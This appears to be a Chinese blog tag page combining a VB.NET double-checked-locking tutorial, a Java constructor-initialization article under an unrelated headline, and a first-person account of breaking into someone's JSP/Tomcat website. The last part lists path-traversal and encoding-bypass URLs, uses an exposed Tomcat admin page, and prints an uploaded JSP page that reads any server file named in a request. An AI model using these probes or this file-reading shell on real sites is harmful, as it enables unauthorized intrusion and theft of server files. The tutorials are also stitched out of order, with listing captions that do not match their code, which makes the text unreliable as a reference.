您正在查看: 标签 安全的 下的文章

Visual BasicNET实现双检锁(DCL)模式(五)

Visual Basic.NET实现双检锁(DCL)模式(五)

代码清单14、二重检查的线程安全的Singleton类

第6题答案、使用Monitor对象改写Singleton模式的源代码如下:

Public Class SingletonA
Private Shared instance As SingletonA

Public Sub New()
System.Console.WriteLine("Singleton object is created.")
End Sub

Public Shared Function GetInstance() As SingletonA
Thread.Sleep(10)
If instance Is Nothing Then
Monitor.Enter(GetType(SingletonA))
If instance Is Nothing Then
instance = New SingletonA()
End If
Monitor.Exit(GetType(SingletonA))
End If
Return instance
End Function
End Class

代码清单15、二重检查的线程安全的Singleton类

第7题答案、使用SyncLock改写后的Singleton模式的源代码如下:

Public Class SingletonB
Private Shared instance As SingletonB

Public Sub New()
System.Console.WriteLine("Singleton object is created.")
End Sub

Public Shared Function GetInstance() As SingletonB
Thread.Sleep(10)
If instance Is Nothing Then
SyncLock (GetType(SingletonB))
If instance Is Nothing Then
instance = New SingletonB()
End If
End SyncLock
End If
Return instance
End Function
End Class

代码清单16、二重检查的线程安全的Singleton类

?

本文介绍了称为双检锁(Double-Check Locking简称DCL)模式的代码模式,它的工作原理及其在Singleton(单例)模式及Multiton(多例)模式中的应用,并且讨论了DCL模式在Visual Basic.net和c#语言中的实现。其中Visual Basic.NET的源代码可以在文中看到,c#的源代码在附录中给出。
?
? 本文假设读者熟悉Visual Basic.NET或C#的多线程概念、设计模式的基本概念,以及UML基本图标。

? DCL模式(Double-Check Locking Pattern)有时又称作双检模式(Double-Check Pattern),只有在多线程的环境中才有用。它是从c语言移植过来的。在c语言里,DCL模式常常用在多线程环境中类的迟实例化(Late Instantiation)里。

? DCL模式通常与Factory模式一同使用,用来循环使用产品对象。如果读者熟悉 Singleton(Singleton)模式的话,DCL模式可以使用到"懒汉式"的Singleton模式里面,用来提供唯一的产品对象。通过进一步推广,可以使用到Multiton模式和Flyweight模式里面。

? 从Factory模式谈起

? 为了解释什么是DCL模式,还是从Factory模式谈起吧。

? 在下面的类图中,工厂类Factory0有一个共享方法GetInstance()用来提供产品类Product的实例。

?

?


? 图1、一个由工厂类与产品类组成的系统。

? Factory0的源代码如下:

? Public Class Factory0
? Public Shared Function GetInstance() As Product
? Return New Product()
? End Function
? End Class

? 代码清单1、Factory0类的源代码

? 显然,只要调用GetInstance()方法就会得到Product类的实例,每一次调用得到的都是新的实例。Product类特别提供了计数的方法,通过调用GetCount()方法就可以得到Product所有实例的总数。

? Public Class Product
? Private Shared count As Integer = 0

? Public Sub New()
? count += 1
? System.Console.WriteLine("Product number {0} is created.", count)
? End Sub

? Public Shared Function GetCount() As Integer
? Return count
? End Function
? End Class

? 代码清单2、产品类Product的源代码

? 但是如果产品类的实例必须循环使用,而不能无限制创建的话,工厂方法GetInstance()的内容必须改写,以实现必要的循环逻辑。而最简单的循环逻辑,就是重复使用单一的产品类实例。比如下面的源代码就实现了单一产品类实例的逻辑:

? Public Class Factory1
? Private Shared instance As Product

? Public Shared Function GetInstance() As Product
? If (instance Is Nothing) Then
? instance = New Product()
? End If
? Return instance
? End Function
? End Class

? 代码清单3、工厂类Factory1的源代码

? 简单得不能再简单了吧?如果已经创建过Product类实例的话,就返还这个实例;反之,就首先创建这个实例,将之记录在案,然后再返还它。

? 写出这样的代码,本意显然是要保持在整个系统里只有一个Product 的实例;因此才会有 If (instance Is Nothing) Then 的检查。不很明显的是,如果在多线程的环境中运行,上面的代码会有两个甚至两个以上的Product对象被创建出来,从而造成错误。

? 在多线程环境里,如果有两个线程A和B几乎同时到达 If (instance Is Nothing) Then语句的外面的话,假设线程A比线程B早一点点,那么:

? 1. A会首先进入If (instance Is Nothing) Then 块的内部,并开始执行New Product()语句。至此时,instance变量仍然是Nothing,直到线程A的New Product()语句返回并给instance变量赋值。

? 2. 但是,线程B并不会在If (instance Is Nothing) Then 语句的外面等待,因为此时instance Is Nothing是成立的,它会马上进入If (instance Is Nothing) Then语句块的内部。这样,线程B会不可避免地执行instance = New Product()的语句,从而创建出第二个实例来。

? 3. 下面,线程A的instance = New Product()语句执行完毕,instance变量得到了真实的对象引用, (instance Is Nothing)不再为真。第三个线程不会在进入If (instance Is Nothing) Then语句块的内部了。

? 4. 紧接着,线程B的instance = New Product()语句也执行完毕,instance变量的值被覆盖。但是第一个Product对象被线程A引用的事实不会改变。

? 这时,线程A和B各自拥有一个独立的Product对象,而这是错误的。为了能够直观地看到程序执行的结果,可以运行下面的客户端代码:

? Private Sub Run1()
? Dim o As Product
? o = Factory1.GetInstance
? System.Console.WriteLine("Total number of objects created: {0} ", o.GetCount)
? End Sub

? Private Sub btnCreate1_Click(…) Handles btnCreate1.Click
? Dim t(9) As Thread
? Dim count As Integer

? For count = 0 To 9
? t(count) = New Thread(AddressOf Run1)
? t(count).Start()
? Next
? End Sub

? 代码清单4、客户端的源代码

? 另外在Factory1的GetInstance()方法的第一行加入:

? Thread.Sleep(10)

? 的语句,相当于模拟一个冗长的产品创建过程,使得最早进入的线程等待后面的线程,从而凸显现多线程的问题。

? 上面的客户端代码使用了10个线程同时调用工厂方法,然后调用产品的计数方法,打印出产品类的实例总数。如果读者运行一下这些代码的话,就会发现,工厂方法会创建出远多于1个的产品实例,在笔者运行这段代码时,系统整整产生了9个产品实例。

? 因此Factory1作为循环使用产品实例的工厂在多线程环境中是失败的。使用类似于代码清单4的客户端进行试验的话,可以看出系统自始至终仅仅创建了一个产品实例。

Visual BasicNET实现双检锁(DCL)模式(四)

Visual Basic.NET实现双检锁(DCL)模式(四)
 问答题答案

  第1题答案、Mutex改写同步化代码清单5,结果如下:

Public Class Factory2A
Private Shared instance As Product
Private Shared m As Mutex = New Mutex()

Private Sub New()
System.Console.WriteLine("Factory object is created.")
End Sub

Public Shared Function GetInstance() As Product
Thread.Sleep(10)
m.WaitOne()

If (instance Is Nothing) Then
instance = New Product()
End If

m.ReleaseMutex()
Return instance
End Function
End Class

代码清单10、二重检查的线程安全的Singleton类

  第2题答案、Monitor对象提供针对一个资源对象的同步锁。使用Monitor对象改写代码清单5,结果为:

Public Class Factory2B
Private Shared instance As Product

Private Sub New()
System.Console.WriteLine("Factory object is created.")
End Sub

Public Shared Function GetInstance() As Product
Thread.Sleep(10)
Monitor.Enter(GetType(Factory2B))

If (instance Is Nothing) Then
instance = New Product()
End If

Monitor.Exit(GetType(Factory2B))
Return instance
End Function
End Class

代码清单11、二重检查的线程安全的Singleton类

  第3题答案、使用了SyncLock的版本如下:

Public Class Factory2C
Private Shared instance As Product

Private Sub New()
System.Console.WriteLine("Factory object is created.")
End Sub

Public Shared Function GetInstance() As Product
Thread.Sleep(10)
SyncLock (GetType(Factory2C))
If (instance Is Nothing) Then
instance = New Product()
End If
End SyncLock

Return instance
End Function
End Class

代码清单12、二重检查的线程安全的Singleton类

  第4题答案、使用Monitor对象改写后的双检锁工厂类为:

Public Class Factory3A
Private Shared instance As Product

Public Shared Function GetInstance() As Product
Thread.Sleep(10)

If (instance Is Nothing) Then
Monitor.Enter(GetType(Factory3A))
If (instance Is Nothing) Then
instance = New Product()
End If
Monitor.Exit(GetType(Factory3A))
End If
Return instance
End Function
End Class

代码清单13、二重检查的线程安全的Singleton类

  第5题答案、使用SyncLock改写后的双检锁工厂类为;

Public Class Factory3B
Private Shared instance As Product

Public Shared Function GetInstance() As Product
Thread.Sleep(10)

If (instance Is Nothing) Then
SyncLock (GetType(Factory3B))
If (instance Is Nothing) Then
instance = New Product()
End If
End SyncLock
End If
Return instance
End Function
End Class

Visual BasicNET实现双检锁(DCL)模式(三)

Visual Basic.NET实现双检锁(DCL)模式(三)

到此为止,线程A和线程B得到了同一个Product对象。可以看到,在上面的方法GetInstance ()中,同步化仅用来避免多个线程同时初始化这个类,而不是同时调用这个静态工厂方法。如果这是正确的,那么使用这一个模式之后,"懒汉式"工厂类就可以摆脱掉同步化瓶颈,达到一个完美的境界。这就是DCL模式。

  读到这里,读者可以看看能不能回答本文后面的问答题4、5和6。关于DCL模式的讨论

  第一次接触到这个技巧的读者必定会有很多问题,诸如第一次检查或者第二次检查可不可以省掉等等。回答是,按照多线程的原理和DCL模式的预想方案,它们是不可以省掉的。

  首先,如果省略了第一次检查,那么工厂方法就变成下面这样:

Public Shared Function GetInstance() As Product
 Thread.Sleep(10)
 '位置1
 '位置2
 m.WaitOne()
 '位置3
 If (instance Is Nothing) Then '位置4
  instance = New Product()
 End If
 m.ReleaseMutex()

 Return instance
End Function

代码清单7、省略了第一重检查的线程安全的工厂方法

  这就造成不论产品实例是否存在都会在位置2等待的情况,也就是等于没有优化前的线程安全的工厂方法(参见代码清单5),虽然并没有错误地产生多于一个的产品对象,但也没有达到优化的目的。

  其次,如果省略了第二重检查的话,工厂方法模式就会变成下面这样:

If (instance Is Nothing) Then '位置1
 '位置2
 m.WaitOne()
 '位置3
 instance = New Product()
 m.ReleaseMutex()
End If
Return instance

代码清单8、省略了第二重检查的线程安全的工厂方法

  这是否可以呢?同样假设线程A和B作为第一批调用者同时或几乎同时调用静态工厂方法。

  1. 因为线程A和B是第一批调用者,因此当它们进入此静态工厂方法时,instance变量是Nothing。因此线程A和B会同时或几乎同时到达位置1。

  2. 假设线程A会首先到达位置2,并进入m.WaitOne()而到达位置3。这时,由于m.WaitOne()的同步化限制,线程B无法到达位置3,而只能在位置2等候。

  3. 线程A执行instance = New Product()语句,使得instance变量得到一个值,即对一个Product对象的引用。此时,线程B只能继续在位置2等候。

  4. 线程A退出m.WaitOne(),返回instance对象,退出静态工厂方法。

  5. 线程B进入m.WaitOne()块,达到位置3,线程B执行instance = New Product()语句,使得instance变量得到一个新值,B退出静态工厂方法。

  因此线程A和B创建了两个产品类的实例。换言之,没有第二重检查是不可以的。

  DCL模式在Singleton模式中的应用

  Singleton模式描述的是只有一个实例的类,这个类叫做Singleton类。Singleton类自己向外界提供自己的唯一实例。一般情况下,Singleton模式多使用在多线程环境中,这使得线程同步化变得非常重要。

  根据Singleton类的实例创建方式的不同,Singleton模式的实现可以分成两种:"饿汉式"和"懒汉式"。"懒汉式"Singleton模式会在工厂方法被调用的时候判断是否需要创建产品的实例:如果实例已经存在了,就直接返还这个实例,反之就首先创建一个实例,再存储起来,然后返还这个实例。

  熟悉Singleton模式的读者应该可以注意到,DCL模式可以使用到"懒汉式"的Singleton模式中。实际上,Singleton类就是DCL模式的特殊情况,只要把工厂类与产品类合并就可以得到Singleton类。请参见下面的UML类图。


下面就是这个Singleton类的源代码:

Public Class Singleton
Private Shared instance As Singleton
Private Shared m As Mutex = New Mutex()

Public Sub New()
System.Console.WriteLine("Singleton object is created.")
End Sub

Public Shared Function GetInstance() As Singleton
Thread.Sleep(10)
If instance Is Nothing Then
m.WaitOne()
If instance Is Nothing Then
instance = New Singleton()
End If
m.ReleaseMutex()
End If
Return instance
End Function
End Class

代码清单9、二重检查的线程安全的Singleton类DCL模式的推广

  上面所介绍的DCL模式的实现都是基于一个最为简单的逻辑,也就是单实例逻辑。这一逻辑还可以进一步推广成为更为一般的循环逻辑。

  比如工厂对象可以控制产品类实例的数目有一个上限,这个上限为1时,就成为单实例逻辑;大于1时,就成为多实例逻辑。

  如果产品对象是有状态的,工厂对象虽然不控制产品类实例的数目,但是却根据产品对象的状态循环使用产品类实例,比如对应每一种状态的产品类实例最多只允许一个(或N个),等等。

  问答题

  第1题、使用Mutex改写代码清单5。
  第2题、使用Monitor改写代码清单5。
  第3题、使用SyncLock改写代码清单5。
  第4题、使用Monitor改写代码清单6。
  第5题、使用SyncLock改写代码清单6。
  第6题、使用Monitor改写代码清单9。
  第7题、使用SyncLock改写代码清单9。

杀毒软件也山寨?国产新秀杀毒软件,你认识几个?

杀毒软件也山寨?国产新秀杀毒软件,你认识几个?

本文提供一个项目中的错误实例,提供对其观察和分析,揭示出Java语言实例化一个对象具体过程,最后总结出设计Java类的一个重要规则。通过阅读本文,可以使Java程序员理解Java对象的构造过程,从而设计出更加健壮的代码。本文适合Java初学者和需要提高的Java程序员阅读。

作者曾经在一个项目里面向项目组成员提供了一个抽象的对话框基类,使用者只需在子类中实现基类的一个抽象方法来画出显示数据的界面,就可使项目内的对话框具有相同的风格。具体的代码实现片断如下(为了简洁起见,省略了其他无关的代码):

public abstract class BaseDlg extends JDialog {
public BaseDlg(Frame frame, String title) {
super(frame, title, true);
this.getContentPane().setLayout(new BorderLayout());
this.getContentPane().add(createHeadPanel(), BorderLayout.NORTH);
this.getContentPane().add(createClientPanel(), BorderLayout.CENTER);
this.getContentPane().add(createButtonPanel(), BorderLayout.SOUTH);
}

private JPanel createHeadPanel() {
... // 创建对话框头部
}

// 创建对话框客户区域,交给子类实现
protected abstract JPanel createClientPanel();

private JPanel createButtonPanel {
... // 创建按钮区域
}
}
这个类在有的代码中工作得很好,但一个同事在使用时,程序却掷出了一个NullPointerException违例!经过比较,找出了工作正常和不正常的程序的细微差别,代码片断分别如下:

一、工作正常的代码:

public class ChildDlg1 extends BaseDlg {
JTextField jTextFieldName;
public ChildDlg1() {
super(null, "Title");
}
public JPanel createClientPanel() {
jTextFieldName = new JTextField();
JPanel panel = new JPanel(new FlowLayout());
panel.add(jTextFieldName);
... // 其它代码
return panel;
}
...
}
ChildDlg1 dlg = new ChildDlg1(frame, "Title"); // 外部的调用
二、工作不正常的代码:

public class ChildDlg2 extends BaseDlg {
JTextField jTextFieldName = new JTextField();
public ChildDlg2() {
super(null, "Title");
}
public JPanel createClientPanel() {
JPanel panel = new JPanel(new FlowLayout());
panel.add(jTextFieldName);
... // 其它代码
return panel;
}
...
}
ChildDlg2 dlg = new ChildDlg2(); // 外部的调用
你看出来两段代码之间的差别了吗?对了,两者的差别仅仅在于类变量jTextFieldName的初始化时间。经过跟踪,发现在执行panel.add(jTextFieldName)语句之时,jTextFieldName确实是空值。

我们知道,Java允许在定义类变量的同时给变量赋初始值。系统运行过程中需要创建一个对象的时候,首先会为对象分配内存空间,然后在“先于调用任何方法之前”根据变量在类内的定义顺序来初始化变量,接着再调用类的构造方法。那么,在本例中,为什么在变量定义时便初始化的代码反而会出现空指针违例呢?

对象的创建过程和初始化

实际上,前面提到的“变量初始化发生在调用任何方法包括构造方法之前”这句话是不确切的,当我们把眼光集中在单个类上时,该说法成立;然而,当把视野扩大到具有继承关系的两个或多个类上时,该说法不成立。

对象的创建一般有两种方式,一种是用new操作符,另一种是在一个Class对象上调用newInstance方法;其创建和初始化的实际过程是一样的:

首先为对象分配内存空间,包括其所有父类的可见或不可见的变量的空间,并初始化这些变量为默认值,如int类型为0,boolean类型为false,对象类型为null;

然后用下述5个步骤来初始化这个新对象:

1)分配参数给指定的构造方法;
2)如果这个指定的构造方法的第一个语句是用this指针显式地调用本类的其它构造方法,则递归执行这5个步骤;如果执行过程正常则跳到步骤5;
3)如果构造方法的第一个语句没有显式调用本类的其它构造方法,并且本类不是Object类(Object是所有其它类的祖先),则调用显式(用super指针)或隐式地指定的父类的构造方法,递归执行这5个步骤;如果执行过程正常则跳到步骤5;
4)按照变量在类内的定义顺序来初始化本类的变量,如果执行过程正常则跳到步骤5;
5)执行这个构造方法中余下的语句,如果执行过程正常则过程结束。

这一过程可以从下面的时序图中获得更清晰的认识:

对分析本文的实例最重要的,用一句话说,就是“父类的构造方法调用发生在子类的变量初始化之前”。可以用下面的例子来证明:

// Petstore.java
class Animal {
Animal() {
System.out.println("Animal");
}
}
class Cat extends Animal {
Cat() {
System.out.println("Cat");
}
}
class Store {
Store() {
System.out.println("Store");
}
}
public class Petstore extends Store{
Cat cat = new Cat();
Petstore() {
System.out.println("Petstore");
}
public static void main(String[] args) {
new Petstore();
}
}
运行这段代码,它的执行结果如下:

Store
Animal
Cat
Petstore
从结果中可以看出,在创建一个Petstore类的实例时,首先调用了它的父类Store的构造方法;然后试图创建并初始化变量cat;在创建cat时,首先调用了Cat类的父类Animal的构造方法;其后才是Cat的构造方法主体,最后才是Petstore类的构造方法的主体。

寻找程序产生例外的原因

现在回到本文开始提到的实例中来,当程序创建一个ChildDlg2的实例时,根据super(null, “Title”)语句,首先执行其父类BaseDlg的构造方法;在BaseDlg的构造方法中调用了createClientPanel()方法,这个方法是抽象方法并且被子类ChildDlg2实现了,因此,实际调用的方法是ChildDlg2中的createClientPanel()方法(因为Java里面采用“动态绑定”来绑定所有非final的方法);createClientPanel()方法使用了ChildDlg2类的实例变量jTextFieldName,而此时ChildDlg2的变量初始化过程尚未进行,jTextFieldName是null值!所以,ChildDlg2的构造过程掷出一个NullPointerException也就不足为奇了。

再来看ChildDlg1,它的jTextFieldName的初始化代码写在了createClientPanel()方法内部的开始处,这样它就能保证在使用之前得到正确的初始化,因此这段代码工作正常。

解决问题的两种方式

通过上面的分析过程可以看出,要排除故障,最简单的方法就是要求项目组成员在继承使用BaseDlg类,实现createClientPanel()方法时,凡方法内部要使用的变量必须首先正确初始化,就象ChildDlg1一样。然而,把类变量放在类方法内初始化是一种很不好的设计行为,它最适合的地方就是在变量定义块和构造方法中。

在本文的实例中,引发错误的实质并不在ChildDlg2上,而在其父类BaseDlg上,是它在自己的构造方法中不适当地调用了一个待实现的抽象方法。

从概念上讲,构造方法的职责是正确初始化类变量,让对象进入可用状态。而BaseDlg却赋给了构造方法额外的职责。

本文实例的更好的解决方法是修改BaseDlg类:

public abstract class BaseDlg extends JDialog {
public BaseDlg(Frame frame, String title) {
super(frame, title, true);
this.getContentPane().setLayout(new BorderLayout());
this.getContentPane().add(createHeadPanel(), BorderLayout.NORTH);
this.getContentPane().add(createButtonPanel(), BorderLayout.SOUTH);
}

/** 创建对话框实例后,必须调用此方法来布局用户界面
*/
public void initGUI() {
this.getContentPane().add(createClientPanel(), BorderLayout.CENTER);
}

private JPanel createHeadPanel() {
... // 创建对话框头部
}

// 创建对话框客户区域,交给子类实现
protected abstract JPanel createClientPanel();

private JPanel createButtonPanel {
... // 创建按钮区域
}
}
新的BaseDlg类增加了一个initGUI()方法,程序员可以这样使用这个类:

ChildDlg dlg = new ChildDlg();
dlg.initGUI();
dlg.setVisible(true);
总结

类的构造方法的基本目的是正确初始化类变量,不要赋予它过多的职责。

设计类构造方法的基本规则是:用尽可能简单的方法使对象进入就绪状态;如果可能,避免调用任何方法。在构造方法内唯一能安全调用的是基类中具有final属性的方法或者private方法(private方法会被编译器自动设置final属性)。final的方法因为不能被子类覆盖,所以不会产生问题。

参考资料

Bruce Eckel:Thinking in JAVA 2e
Tim Lindholm, Frank Yellin: The Java Virtual Machine Specification 2e

入侵基于JSP+Tomcat的Web网站实录

入侵基于JSP+Tomcat的Web网站实录

  很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]

   返回的结果如下:

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; servlet 2.2; Java 1.2.2; linux 2
.2.12 i386; java.vendor=Blackdown Java-linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL

   获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

   回忆一下,大概是通过“..”技术可以退出WEB目录,于是:

http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)

   看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:

http://target:8080/admin/

   管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。

   接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:

      <TR>
        <TD><%@ page import="java.io.*" %><BR>
          <%<BR>
          String file =   request.getParameter("file");<BR>
          String str = "";<BR>
          FileInputStream fis =   null;<BR>
          DataInputStream dis = null;<BR>
          try{<BR>
          fis = new   FileInputStream(file);<BR>
          dis = new   DataInputStream(fis);<BR>
          while(true){<BR>
          try{<BR>
          str =   dis.readLine();<BR>
          }catch(Exception e){}<BR>
          if(str ==   null)break;<BR>
          out.print(str+"<br>");<BR>
          }<BR>
          }catch(IOException e){}<BR>
          %> </TD>
      </TR>
    
  </TABLE>